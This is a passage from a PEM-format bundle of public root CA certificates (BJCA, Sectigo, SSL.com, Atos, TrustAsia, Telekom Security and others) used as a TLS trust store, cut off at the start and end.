VQQKExxTRUNPTSBUcnVzdCBTeXN0ZW1zIENPLixMVEQuMSswKQYDVQQDEyJTZWN1cml0eSBDb21t
dW5pY2F0aW9uIEVDQyBSb290Q0ExMB4XDTE2MDYxNjA1MTUyOFoXDTM4MDExODA1MTUyOFowYTEL
MAkGA1UEBhMCSlAxJTAjBgNVBAoTHFNFQ09NIFRydXN0IFN5c3RlbXMgQ08uLExURC4xKzApBgNV
BAMTIlNlY3VyaXR5IENvbW11bmljYXRpb24gRUNDIFJvb3RDQTEwdjAQBgcqhkjOPQIBBgUrgQQA
IgNiAASkpW9gAwPDvTH00xecK4R1rOX9PVdu12O/5gSJko6BnOPpR27KkBLIE+CnnfdldB9sELLo
5OnvbYUymUSxXv3MdhDYW72ixvnWQuRXdtyQwjWpS4g8EkdtXP9JTxpKULGjQjBAMB0GA1UdDgQW
BBSGHOf+LaVKiwj+KBH6vqNm+GBZLzAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAK
BggqhkjOPQQDAwNoADBlAjAVXUI9/Lbu9zuxNuie9sRGKEkz0FhDKmMpzE2xtHqiuQ04pV1IKv3L
snNdo4gIxwwCMQDAqy0Obe0YottT6SXbVQjgUMzfRGEWgqtJsLKB7HOHeLRMsmIbEvoWTSVLY70e
N9k=
-----END CERTIFICATE-----

BJCA Global Root CA1
====================
-----BEGIN CERTIFICATE-----
MIIFdDCCA1ygAwIBAgIQVW9l47TZkGobCdFsPsBsIDANBgkqhkiG9w0BAQsFADBUMQswCQYDVQQG
EwJDTjEmMCQGA1UECgwdQkVJSklORyBDRVJUSUZJQ0FURSBBVVRIT1JJVFkxHTAbBgNVBAMMFEJK
Q0EgR2xvYmFsIFJvb3QgQ0ExMB4XDTE5MTIxOTAzMTYxN1oXDTQ0MTIxMjAzMTYxN1owVDELMAkG
A1UEBhMCQ04xJjAkBgNVBAoMHUJFSUpJTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZMR0wGwYDVQQD
DBRCSkNBIEdsb2JhbCBSb290IENBMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAPFm
CL3ZxRVhy4QEQaVpN3cdwbB7+sN3SJATcmTRuHyQNZ0YeYjjlwE8R4HyDqKYDZ4/N+AZspDyRhyS
sTphzvq3Rp4Dhtczbu33RYx2N95ulpH3134rhxfVizXuhJFyV9xgw8O558dnJCNPYwpj9mZ9S1Wn
P3hkSWkSl+BMDdMJoDIwOvqfwPKcxRIqLhy1BDPapDgRat7GGPZHOiJBhyL8xIkoVNiMpTAK+BcW
yqw3/XmnkRd4OJmtWO2y3syJfQOcs4ll5+M7sSKGjwZteAf9kRJ/sGsciQ35uMt0WwfCyPQ10WRj
eulumijWML3mG90Vr4TqnMfK9Q7q8l0ph49pczm+LiRvRSGsxdRpJQaDrXpIhRMsDQa4bHlW/KNn
MoH1V6XKV0Jp6VwkYe/iMBhORJhVb3rCk9gZtt58R4oRTklH2yiUAguUSiz5EtBP6DF+bHq/pj+b
OT0CFqMYs2esWz8sgytnOYFcuX6U1WTdno9uruh8W7TXakdI136z1C2OVnZOz2nxbkRs1CTqjSSh
GL+9V/6pmTW12xB3uD1IutbB5/EjPtffhZ0nPNRAvQoMvfXnjSXWgXSHRtQpdaJCbPdzied9v3pK
H9MiyRVVz99vfFXQpIsHETdfg6YmV6YBW37+WGgHqel62bno/1Afq8K0wM7o6v0PvY1NuLxxAgMB
AAGjQjBAMB0GA1UdDgQWBBTF7+3M2I0hxkjk49cULqcWk+WYATAPBgNVHRMBAf8EBTADAQH/MA4G
A1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAUoKsITQfI/Ki2Pm4rzc2IInRNwPWaZ+4
YRC6ojGYWUfo0Q0lHhVBDOAqVdVXUsv45Mdpox1NcQJeXyFFYEhcCY5JEMEE3KliawLwQ8hOnThJ
dMkycFRtwUf8jrQ2ntScvd0g1lPJGKm1Vrl2i5VnZu69mP6u775u+2D2/VnGKhs/I0qUJDAnyIm8
60Qkmss9vk/Ves6OF8tiwdneHg56/0OGNFK8YT88X7vZdrRTvJez/opMEi4r89fO4aL/3Xtw+zuh
TaRjAv04l5U/BXCga99igUOLtFkNSoxUnMW7gZ/NfaXvCyUeOiDbHPwfmGcCCtRzRBPbUYQaVQNW
4AB+dAb/OMRyHdOoP2gxXdMJxy6MW2Pg6Nwe0uxhHvLe5e/2mXZgLR6UcnHGCyoyx5JO1UbXHfmp
GQrI+pXObSOYqgs4rZpWDW+N8TEAiMEXnM0ZNjX+VVOg4DwzX5Ze4jLp3zO7Bkqp2IRzznfSxqxx
4VyjHQy7Ct9f4qNx2No3WqB4K/TUfet27fJhcKVlmtOJNBir+3I+17Q9eVzYH6Eze9mCUAyTF6ps
3MKCuwJXNq+YJyo5UOGwifUll35HaBC07HPKs5fRJNz2YqAo07WjuGS3iGJCz51TzZm+ZGiPTx4S
SPfSKcOYKMryMguTjClPPGAyzQWWYezyr/6zcCwupvI=
-----END CERTIFICATE-----

BJCA Global Root CA2
====================
-----BEGIN CERTIFICATE-----
MIICJTCCAaugAwIBAgIQLBcIfWQqwP6FGFkGz7RK6zAKBggqhkjOPQQDAzBUMQswCQYDVQQGEwJD
TjEmMCQGA1UECgwdQkVJSklORyBDRVJUSUZJQ0FURSBBVVRIT1JJVFkxHTAbBgNVBAMMFEJKQ0Eg
R2xvYmFsIFJvb3QgQ0EyMB4XDTE5MTIxOTAzMTgyMVoXDTQ0MTIxMjAzMTgyMVowVDELMAkGA1UE
BhMCQ04xJjAkBgNVBAoMHUJFSUpJTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZMR0wGwYDVQQDDBRC
SkNBIEdsb2JhbCBSb290IENBMjB2MBAGByqGSM49AgEGBSuBBAAiA2IABJ3LgJGNU2e1uVCxA/jl
SR9BIgmwUVJY1is0j8USRhTFiy8shP8sbqjV8QnjAyEUxEM9fMEsxEtqSs3ph+B99iK++kpRuDCK
/eHeGBIK9ke35xe/J4rUQUyWPGCWwf0VHKNCMEAwHQYDVR0OBBYEFNJKsVF/BvDRgh9Obl+rg/xI
1LCRMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMAoGCCqGSM49BAMDA2gAMGUCMBq8
W9f+qdJUDkpd0m2xQNz0Q9XSSpkZElaA94M04TVOSG0ED1cxMDAtsaqdAzjbBgIxAMvMh1PLet8g
UXOQwKhbYdDFUDn9hf7B43j4ptZLvZuHjw/l1lOWqzzIQNph91Oj9w==
-----END CERTIFICATE-----

Sectigo Public Server Authentication Root E46
=============================================
-----BEGIN CERTIFICATE-----
MIICOjCCAcGgAwIBAgIQQvLM2htpN0RfFf51KBC49DAKBggqhkjOPQQDAzBfMQswCQYDVQQGEwJH
QjEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQDEy1TZWN0aWdvIFB1YmxpYyBTZXJ2
ZXIgQXV0aGVudGljYXRpb24gUm9vdCBFNDYwHhcNMjEwMzIyMDAwMDAwWhcNNDYwMzIxMjM1OTU5
WjBfMQswCQYDVQQGEwJHQjEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQDEy1TZWN0
aWdvIFB1YmxpYyBTZXJ2ZXIgQXV0aGVudGljYXRpb24gUm9vdCBFNDYwdjAQBgcqhkjOPQIBBgUr
gQQAIgNiAAR2+pmpbiDt+dd34wc7qNs9Xzjoq1WmVk/WSOrsfy2qw7LFeeyZYX8QeccCWvkEN/U0
NSt3zn8gj1KjAIns1aeibVvjS5KToID1AZTc8GgHHs3u/iVStSBDHBv+6xnOQ6OjQjBAMB0GA1Ud
DgQWBBTRItpMWfFLXyY4qp3W7usNw/upYTAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB
/zAKBggqhkjOPQQDAwNnADBkAjAn7qRaqCG76UeXlImldCBteU/IvZNeWBj7LRoAasm4PdCkT0RH
lAFWovgzJQxC36oCMB3q4S6ILuH5px0CMk7yn2xVdOOurvulGu7t0vzCAxHrRVxgED1cf5kDW21U
SAGKcw==
-----END CERTIFICATE-----

Sectigo Public Server Authentication Root R46
=============================================
-----BEGIN CERTIFICATE-----
MIIFijCCA3KgAwIBAgIQdY39i658BwD6qSWn4cetFDANBgkqhkiG9w0BAQwFADBfMQswCQYDVQQG
EwJHQjEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQDEy1TZWN0aWdvIFB1YmxpYyBT
ZXJ2ZXIgQXV0aGVudGljYXRpb24gUm9vdCBSNDYwHhcNMjEwMzIyMDAwMDAwWhcNNDYwMzIxMjM1
OTU5WjBfMQswCQYDVQQGEwJHQjEYMBYGA1UEChMPU2VjdGlnbyBMaW1pdGVkMTYwNAYDVQQDEy1T
ZWN0aWdvIFB1YmxpYyBTZXJ2ZXIgQXV0aGVudGljYXRpb24gUm9vdCBSNDYwggIiMA0GCSqGSIb3
DQEBAQUAA4ICDwAwggIKAoICAQCTvtU2UnXYASOgHEdCSe5jtrch/cSV1UgrJnwUUxDaef0rty2k
1Cz66jLdScK5vQ9IPXtamFSvnl0xdE8H/FAh3aTPaE8bEmNtJZlMKpnzSDBh+oF8HqcIStw+Kxwf
GExxqjWMrfhu6DtK2eWUAtaJhBOqbchPM8xQljeSM9xfiOefVNlI8JhD1mb9nxc4Q8UBUQvX4yMP
FF1bFOdLvt30yNoDN9HWOaEhUTCDsG3XME6WW5HwcCSrv0WBZEMNvSE6Lzzpng3LILVCJ8zab5vu
ZDCQOc2TZYEhMbUjUDM3IuM47fgxMMxF/mL50V0yeUKH32rMVhlATc6qu/m1dkmU8Sf4kaWD5Qaz
Yw6A3OASVYCmO2a0OYctyPDQ0RTp5A1NDvZdV3LFOxxHVp3i1fuBYYzMTYCQNFu31xR13NgESJ/A
wSiItOkcyqex8Va3e0lMWeUgFaiEAin6OJRpmkkGj80feRQXEgyDet4fsZfu+Zd4KKTIRJLpfSYF
plhym3kT2BFfrsU4YjRosoYwjviQYZ4ybPUHNs2iTG7sijbt8uaZFURww3y8nDnAtOFr94MlI1fZ
EoDlSfB1D++N6xybVCi0ITz8fAr/73trdf+LHaAZBav6+CuBQug4urv7qv094PPK306Xlynt8xhW
6aWWrL3DkJiy4Pmi1KZHQ3xtzwIDAQABo0IwQDAdBgNVHQ4EFgQUVnNYZJX5khqwEioEYnmhQBWI
IUkwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEMBQADggIBAC9c
mTz8Bl6MlC5w6tIyMY208FHVvArzZJ8HXtXBc2hkeqK5Duj5XYUtqDdFqij0lgVQYKlJfp/imTYp
E0RHap1VIDzYm/EDMrraQKFz6oOht0SmDpkBm+S8f74TlH7Kph52gDY9hAaLMyZlbcp+nv4fjFg4
exqDsQ+8FxG75gbMY/qB8oFM2gsQa6H61SilzwZAFv97fRheORKkU55+MkIQpiGRqRxOF3yEvJ+M
0ejf5lG5Nkc/kLnHvALcWxxPDkjBJYOcCj+esQMzEhonrPcibCTRAUH4WAP+JWgiH5paPHxsnnVI
84HxZmduTILA7rpXDhjvLpr3Etiga+kFpaHpaPi8TD8SHkXoUsCjvxInebnMMTzD9joiFgOgyY9m
pFuiTdaBJQbpdqQACj7LzTWb4OE4y2BThihCQRxEV+ioratF4yUQvNs+ZUH7G6aXD+u5dHn5Hrwd
Vw1Hr8Mvn4dGp+smWg9WY7ViYG4A++MnESLn/pmPNPW56MORcr3Ywx65LvKRRFHQV80MNNVIIb/b
E/FmJUNS0nAiNs2fxBx1IK1jcmMGDw4nztJqDby1ORrp0XZ60Vzk50lJLVU3aPAaOpg+VBeHVOmm
J1CJeyAvP/+/oYtKR5j/K3tJPsMpRmAYQqszKbrAKbkTidOIijlBO8n9pu0f9GBj39ItVQGL
-----END CERTIFICATE-----

SSL.com TLS RSA Root CA 2022
============================
-----BEGIN CERTIFICATE-----
MIIFiTCCA3GgAwIBAgIQb77arXO9CEDii02+1PdbkTANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQG
EwJVUzEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMSUwIwYDVQQDDBxTU0wuY29tIFRMUyBSU0Eg
Um9vdCBDQSAyMDIyMB4XDTIyMDgyNTE2MzQyMloXDTQ2MDgxOTE2MzQyMVowTjELMAkGA1UEBhMC
VVMxGDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjElMCMGA1UEAwwcU1NMLmNvbSBUTFMgUlNBIFJv
b3QgQ0EgMjAyMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANCkCXJPQIgSYT41I57u
9nTPL3tYPc48DRAokC+X94xI2KDYJbFMsBFMF3NQ0CJKY7uB0ylu1bUJPiYYf7ISf5OYt6/wNr/y
7hienDtSxUcZXXTzZGbVXcdotL8bHAajvI9AI7YexoS9UcQbOcGV0insS657Lb85/bRi3pZ7Qcac
oOAGcvvwB5cJOYF0r/c0WRFXCsJbwST0MXMwgsadugL3PnxEX4MN8/HdIGkWCVDi1FW24IBydm5M
R7d1VVm0U3TZlMZBrViKMWYPHqIbKUBOL9975hYsLfy/7PO0+r4Y9ptJ1O4Fbtk085zx7AGL0SDG
D6C1vBdOSHtRwvzpXGk3R2azaPgVKPC506QVzFpPulJwoxJF3ca6TvvC0PeoUidtbnm1jPx7jMEW
TO6Af77wdr5BUxIzrlo4QqvXDz5BjXYHMtWrifZOZ9mxQnUjbvPNQrL8VfVThxc7wDNY8VLS+YCk
8OjwO4s4zKTGkH8PnP2L0aPP2oOnaclQNtVcBdIKQXTbYxE3waWglksejBYSd66UNHsef8JmAOSq
g+qKkK3ONkRN0VHpvB/zagX9wHQfJRlAUW7qglFA35u5CCoGAtUjHBPW6dvbxrB6y3snm/vg1UYk
7RBLY0ulBY+6uB0rpvqR4pJSvezrZ5dtmi2fgTIFZzL7SAg/2SW4BCUvAgMBAAGjYzBhMA8GA1Ud
EwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAU+y437uOEeicuzRk1sTN8/9REQrkwHQYDVR0OBBYEFPsu
N+7jhHonLs0ZNbEzfP/UREK5MA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQsFAAOCAgEAjYlt
hEUY8U+zoO9opMAdrDC8Z2awms22qyIZZtM7QbUQnRC6cm4pJCAcAZli05bg4vsMQtfhWsSWTVTN
j8pDU/0quOr4ZcoBwq1gaAafORpR2eCNJvkLTqVTJXojpBzOCBvfR4iyrT7gJ4eLSYwfqUdYe5by
iB0YrrPRpgqU+tvT5TgKa3kSM/tKWTcWQA673vWJDPFs0/dRa1419dvAJuoSc06pkZCmF8NsLzjU
o3KUQyxi4U5cMj29TH0ZR6LDSeeWP4+a0zvkEdiLA9z2tmBVGKaBUfPhqBVq6+AL8BQx1rmMRTqo
ENjwuSfr98t67wVylrXEj5ZzxOhWc5y8aVFjvO9nHEMaX3cZHxj4HCUp+UmZKbaSPaKDN7Egkaib
MOlqbLQjk2UEqxHzDh1TJElTHaE/nUiSEeJ9DU/1172iWD54nR4fK/4huxoTtrEoZP2wAgDHbICi
vRZQIA9ygV/MlP+7mea6kMvq+cYMwq7FGc4zoWtcu358NFcXrfA/rs3qr5nsLFR+jM4uElZI7xc7
P0peYNLcdDa8pUNjyw9bowJWCZ4kLOGGgYz+qxcs+sjiMho6/4UIyYOf8kpIEFR3N+2ivEC+5BB0
9+Rbu7nzifmPQdjH5FCQNYA+HLhNkNPU98OwoX6EyneSMSy4kLGCenROmxMmtNVQZlR4rmA=
-----END CERTIFICATE-----

SSL.com TLS ECC Root CA 2022
============================
-----BEGIN CERTIFICATE-----
MIICOjCCAcCgAwIBAgIQFAP1q/s3ixdAW+JDsqXRxDAKBggqhkjOPQQDAzBOMQswCQYDVQQGEwJV
UzEYMBYGA1UECgwPU1NMIENvcnBvcmF0aW9uMSUwIwYDVQQDDBxTU0wuY29tIFRMUyBFQ0MgUm9v
dCBDQSAyMDIyMB4XDTIyMDgyNTE2MzM0OFoXDTQ2MDgxOTE2MzM0N1owTjELMAkGA1UEBhMCVVMx
GDAWBgNVBAoMD1NTTCBDb3Jwb3JhdGlvbjElMCMGA1UEAwwcU1NMLmNvbSBUTFMgRUNDIFJvb3Qg
Q0EgMjAyMjB2MBAGByqGSM49AgEGBSuBBAAiA2IABEUpNXP6wrgjzhR9qLFNoFs27iosU8NgCTWy
JGYmacCzldZdkkAZDsalE3D07xJRKF3nzL35PIXBz5SQySvOkkJYWWf9lCcQZIxPBLFNSeR7T5v1
5wj4A4j3p8OSSxlUgaNjMGEwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBSJjy+j6CugFFR7
81a4Jl9nOAuc0DAdBgNVHQ4EFgQUiY8vo+groBRUe/NWuCZfZzgLnNAwDgYDVR0PAQH/BAQDAgGG
MAoGCCqGSM49BAMDA2gAMGUCMFXjIlbp15IkWE8elDIPDAI2wv2sdDJO4fscgIijzPvX6yv/N33w
7deedWo1dlJF4AIxAMeNb0Igj762TVntd00pxCAgRWSGOlDGxK0tk/UYfXLtqc/ErFc2KAhl3zx5
Zn6g6g==
-----END CERTIFICATE-----

Atos TrustedRoot Root CA ECC TLS 2021
=====================================
-----BEGIN CERTIFICATE-----
MIICFTCCAZugAwIBAgIQPZg7pmY9kGP3fiZXOATvADAKBggqhkjOPQQDAzBMMS4wLAYDVQQDDCVB
dG9zIFRydXN0ZWRSb290IFJvb3QgQ0EgRUNDIFRMUyAyMDIxMQ0wCwYDVQQKDARBdG9zMQswCQYD
VQQGEwJERTAeFw0yMTA0MjIwOTI2MjNaFw00MTA0MTcwOTI2MjJaMEwxLjAsBgNVBAMMJUF0b3Mg
VHJ1c3RlZFJvb3QgUm9vdCBDQSBFQ0MgVExTIDIwMjExDTALBgNVBAoMBEF0b3MxCzAJBgNVBAYT
AkRFMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEloZYKDcKZ9Cg3iQZGeHkBQcfl+3oZIK59sRxUM6K
DP/XtXa7oWyTbIOiaG6l2b4siJVBzV3dscqDY4PMwL502eCdpO5KTlbgmClBk1IQ1SQ4AjJn8ZQS
b+/Xxd4u/RmAo0IwQDAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBR2KCXWfeBmmnoJsmo7jjPX
NtNPojAOBgNVHQ8BAf8EBAMCAYYwCgYIKoZIzj0EAwMDaAAwZQIwW5kp85wxtolrbNa9d+F851F+
uDrNozZffPc8dz7kUK2o59JZDCaOMDtuCCrCp1rIAjEAmeMM56PDr9NJLkaCI2ZdyQAUEv049OGY
a3cpetskz2VAv9LcjBHo9H1/IISpQuQo
-----END CERTIFICATE-----

Atos TrustedRoot Root CA RSA TLS 2021
=====================================
-----BEGIN CERTIFICATE-----
MIIFZDCCA0ygAwIBAgIQU9XP5hmTC/srBRLYwiqipDANBgkqhkiG9w0BAQwFADBMMS4wLAYDVQQD
DCVBdG9zIFRydXN0ZWRSb290IFJvb3QgQ0EgUlNBIFRMUyAyMDIxMQ0wCwYDVQQKDARBdG9zMQsw
CQYDVQQGEwJERTAeFw0yMTA0MjIwOTIxMTBaFw00MTA0MTcwOTIxMDlaMEwxLjAsBgNVBAMMJUF0
b3MgVHJ1c3RlZFJvb3QgUm9vdCBDQSBSU0EgVExTIDIwMjExDTALBgNVBAoMBEF0b3MxCzAJBgNV
BAYTAkRFMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAtoAOxHm9BYx9sKOdTSJNy/BB
l01Z4NH+VoyX8te9j2y3I49f1cTYQcvyAh5x5en2XssIKl4w8i1mx4QbZFc4nXUtVsYvYe+W/CBG
vevUez8/fEc4BKkbqlLfEzfTFRVOvV98r61jx3ncCHvVoOX3W3WsgFWZkmGbzSoXfduP9LVq6hdK
ZChmFSlsAvFr1bqjM9xaZ6cF4r9lthawEO3NUDPJcFDsGY6wx/J0W2tExn2WuZgIWWbeKQGb9Cpt
0xU6kGpn8bRrZtkh68rZYnxGEFzedUlnnkL5/nWpo63/dgpnQOPF943HhZpZnmKaau1Fh5hnstVK
PNe0OwANwI8f4UDErmwh3El+fsqyjW22v5MvoVw+j8rtgI5Y4dtXz4U2OLJxpAmMkokIiEjxQGMY
sluMWuPD0xeqqxmjLBvk1cbiZnrXghmmOxYsL3GHX0WelXOTwkKBIROW1527k2gV+p2kHYzygeBY
Br3JtuP2iV2J+axEoctr+hbxx1A9JNr3w+SH1VbxT5Aw+kUJWdo0zuATHAR8ANSbhqRAvNncTFd+
rrcztl524WWLZt+NyteYr842mIycg5kDcPOvdO3GDjbnvezBc6eUWsuSZIKmAMFwoW4sKeFYV+xa
fJlrJaSQOoD0IJ2azsct+bJLKZWD6TWNp0lIpw9MGZHQ9b8Q4HECAwEAAaNCMEAwDwYDVR0TAQH/
BAUwAwEB/zAdBgNVHQ4EFgQUdEmZ0f+0emhFdcN+tNzMzjkz2ggwDgYDVR0PAQH/BAQDAgGGMA0G
CSqGSIb3DQEBDAUAA4ICAQAjQ1MkYlxt/T7Cz1UAbMVWiLkO3TriJQ2VSpfKgInuKs1l+NsW4AmS
4BjHeJi78+xCUvuppILXTdiK/ORO/auQxDh1MoSf/7OwKwIzNsAQkG8dnK/haZPso0UvFJ/1TCpl
Q3IM98P4lYsU84UgYt1UU90s3BiVaU+DR3BAM1h3Egyi61IxHkzJqM7F78PRreBrAwA0JrRUITWX
AdxfG/F851X6LWh3e9NpzNMOa7pNdkTWwhWaJuywxfW70Xp0wmzNxbVe9kzmWy2B27O3Opee7c9G
slA9hGCZcbUztVdF5kJHdWoOsAgMrr3e97sPWD2PAzHoPYJQyi9eDF20l74gNAf0xBLh7tew2Vkt
afcxBPTy+av5EzH4AXcOPUIjJsyacmdRIXrMPIWo6iFqO9taPKU0nprALN+AnCng33eU0aKAQv9q
TFsR0PXNor6uzFFcw9VUewyu1rkGd4Di7wcaaMxZUa1+XGdrudviB0JbuAEFWDlN5LuYo7Ey7Nmj
1m+UI/87tyll5gfp77YZ6ufCOB0yiJA8EytuzO+rdwY0d4RPcuSBhPm5dDTedk+SKlOxJTnbPP/l
PqYO5Wue/9vsL3SD3460s6neFE3/MaNFcyT6lSnMEpcEoji2jbDwN/zIIX8/syQbPYtuzE2wFg2W
HYMfRsCbvUOZ58SWLs5fyQ==
-----END CERTIFICATE-----

TrustAsia Global Root CA G3
===========================
-----BEGIN CERTIFICATE-----
MIIFpTCCA42gAwIBAgIUZPYOZXdhaqs7tOqFhLuxibhxkw8wDQYJKoZIhvcNAQEMBQAwWjELMAkG
A1UEBhMCQ04xJTAjBgNVBAoMHFRydXN0QXNpYSBUZWNobm9sb2dpZXMsIEluYy4xJDAiBgNVBAMM
G1RydXN0QXNpYSBHbG9iYWwgUm9vdCBDQSBHMzAeFw0yMTA1MjAwMjEwMTlaFw00NjA1MTkwMjEw
MTlaMFoxCzAJBgNVBAYTAkNOMSUwIwYDVQQKDBxUcnVzdEFzaWEgVGVjaG5vbG9naWVzLCBJbmMu
MSQwIgYDVQQDDBtUcnVzdEFzaWEgR2xvYmFsIFJvb3QgQ0EgRzMwggIiMA0GCSqGSIb3DQEBAQUA
A4ICDwAwggIKAoICAQDAMYJhkuSUGwoqZdC+BqmHO1ES6nBBruL7dOoKjbmzTNyPtxNST1QY4Sxz
lZHFZjtqz6xjbYdT8PfxObegQ2OwxANdV6nnRM7EoYNl9lA+sX4WuDqKAtCWHwDNBSHvBm3dIZwZ
Q0WhxeiAysKtQGIXBsaqvPPW5vxQfmZCHzyLpnl5hkA1nyDvP+uLRx+PjsXUjrYsyUQE49RDdT/V
P68czH5GX6zfZBCK70bwkPAPLfSIC7Epqq+FqklYqL9joDiR5rPmd2jE+SoZhLsO4fWvieylL1Ag
dB4SQXMeJNnKziyhWTXAyB1GJ2Faj/lN03J5Zh6fFZAhLf3ti1ZwA0pJPn9pMRJpxx5cynoTi+jm
9WAPzJMshH/x/Gr8m0ed262IPfN2dTPXS6TIi/n1Q1hPy8gDVI+lhXgEGvNz8teHHUGf59gXzhqc
D0r83ERoVGjiQTz+LISGNzzNPy+i2+f3VANfWdP3kXjHi3dqFuVJhZBFcnAvkV34PmVACxmZySYg
WmjBNb9Pp1Hx2BErW+Canig7CjoKH8GB5S7wprlppYiU5msTf9FkPz2ccEblooV7WIQn3MSAPmea
mseaMQ4w7OYXQJXZRe0Blqq/DPNL0WP3E1jAuPP6Z92bfW1K/zJMtSU7/xxnD4UiWQWRkUF3gdCF
TIcQcf+eQxuulXUtgQIDAQABo2MwYTAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFEDk5PIj
7zjKsK5Xf/IhMBY027ySMB0GA1UdDgQWBBRA5OTyI+84yrCuV3/yITAWNNu8kjAOBgNVHQ8BAf8E
BAMCAQYwDQYJKoZIhvcNAQEMBQADggIBACY7UeFNOPMyGLS0XuFlXsSUT9SnYaP4wM8zAQLpw6o1
D/GUE3d3NZ4tVlFEbuHGLige/9rsR82XRBf34EzC4Xx8MnpmyFq2XFNFV1pF1AWZLy4jVe5jaN/T
G3inEpQGAHUNcoTpLrxaatXeL1nHo+zSh2bbt1S1JKv0Q3jbSwTEb93mPmY+KfJLaHEih6D4sTNj
duMNhXJEIlU/HHzp/LgV6FL6qj6jITk1dImmasI5+njPtqzn59ZW/yOSLlALqbUHM/Q4X6RJpstl
cHboCoWASzY9M/eVVHUl2qzEc4Jl6VL1XP04lQJqaTDFHApXB64ipCz5xUG3uOyfT0gA+QEEVcys
+TIxxHWVBqB/0Y0n3bOppHKH/lmLmnp0Ft0WpWIp6zqW3IunaFnT63eROfjXy9mPX1onAX1daBli
2MjN9LdyR75bl87yraKZk62Uy5P2EgmVtqvXO9A/EcswFi55gORngS1d7XB4tmBZrOFdRWOPyN9y
aFvqHbgB8X7754qz41SgOAngPN5C8sLtLpvzHzW2NtjjgKGLzZlkD8Kqq7HK9W+eQ42EVJmzbsAS
ZthwEPEGNTNDqJwuuhQxzhB/HIbjj9LV+Hfsm6vxL2PZQl/gZ4FkkfGXL/xuJvYz+NO1+MRiqzFR
JQJ6+N1rZdVtTTDIZbpoFGWsJwt0ivKH
-----END CERTIFICATE-----

TrustAsia Global Root CA G4
===========================
-----BEGIN CERTIFICATE-----
MIICVTCCAdygAwIBAgIUTyNkuI6XY57GU4HBdk7LKnQV1tcwCgYIKoZIzj0EAwMwWjELMAkGA1UE
BhMCQ04xJTAjBgNVBAoMHFRydXN0QXNpYSBUZWNobm9sb2dpZXMsIEluYy4xJDAiBgNVBAMMG1Ry
dXN0QXNpYSBHbG9iYWwgUm9vdCBDQSBHNDAeFw0yMTA1MjAwMjEwMjJaFw00NjA1MTkwMjEwMjJa
MFoxCzAJBgNVBAYTAkNOMSUwIwYDVQQKDBxUcnVzdEFzaWEgVGVjaG5vbG9naWVzLCBJbmMuMSQw
IgYDVQQDDBtUcnVzdEFzaWEgR2xvYmFsIFJvb3QgQ0EgRzQwdjAQBgcqhkjOPQIBBgUrgQQAIgNi
AATxs8045CVD5d4ZCbuBeaIVXxVjAd7Cq92zphtnS4CDr5nLrBfbK5bKfFJV4hrhPVbwLxYI+hW8
m7tH5j/uqOFMjPXTNvk4XatwmkcN4oFBButJ+bAp3TPsUKV/eSm4IJijYzBhMA8GA1UdEwEB/wQF
MAMBAf8wHwYDVR0jBBgwFoAUpbtKl86zK3+kMd6Xg1mDpm9xy94wHQYDVR0OBBYEFKW7SpfOsyt/
pDHel4NZg6ZvccveMA4GA1UdDwEB/wQEAwIBBjAKBggqhkjOPQQDAwNnADBkAjBe8usGzEkxn0AA
bbd+NvBNEU/zy4k6LHiRUKNbwMp1JvK/kF0LgoxgKJ/GcJpo5PECMFxYDlZ2z1jD1xCMuo6u47xk
dUfFVZDj/bpV6wfEU6s3qe4hsiFbYI89MvHVI5TWWA==
-----END CERTIFICATE-----

Telekom Security TLS ECC Root 2020
==================================
-----BEGIN CERTIFICATE-----
MIICQjCCAcmgAwIBAgIQNjqWjMlcsljN0AFdxeVXADAKBggqhkjOPQQDAzBjMQswCQYDVQQGEwJE
RTEnMCUGA1UECgweRGV1dHNjaGUgVGVsZWtvbSBTZWN1cml0eSBHbWJIMSswKQYDVQQDDCJUZWxl
a29tIFNlY3VyaXR5IFRMUyBFQ0MgUm9vdCAyMDIwMB4XDTIwMDgyNTA3NDgyMFoXDTQ1MDgyNTIz
NTk1OVowYzELMAkGA1UEBhMCREUxJzAlBgNVBAoMHkRldXRzY2hlIFRlbGVrb20gU2VjdXJpdHkg
R21iSDErMCkGA1UEAwwiVGVsZWtvbSBTZWN1cml0eSBUTFMgRUNDIFJvb3QgMjAyMDB2MBAGByqG
SM49AgEGBSuBBAAiA2IABM6//leov9Wq9xCazbzREaK9Z0LMkOsVGJDZos0MKiXrPk/OtdKPD/M1
2kOLAoC+b1EkHQ9rK8qfwm9QMuU3ILYg/4gND21Ju9sGpIeQkpT0CdDPf8iAC8GXs7s1J8nCG6NC
MEAwHQYDVR0OBBYEFONyzG6VmUex5rNhTNHLq+O6zd6fMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0P
AQH/BAQDAgEGMAoGCCqGSM49BAMDA2cAMGQCMHVSi7ekEE+uShCLsoRbQuHmKjYC2qBuGT8lv9pZ
Mo7k+5Dck2TOrbRBR2Diz6fLHgIwN0GMZt9Ba9aDAEH9L1r3ULRn0SyocddDypwnJJGDSA3PzfdU
ga/sf+Rn27iQ7t0l
-----END CERTIFICATE-----

Telekom Security TLS RSA Root 2023
==================================
-----BEGIN CERTIFICATE-----
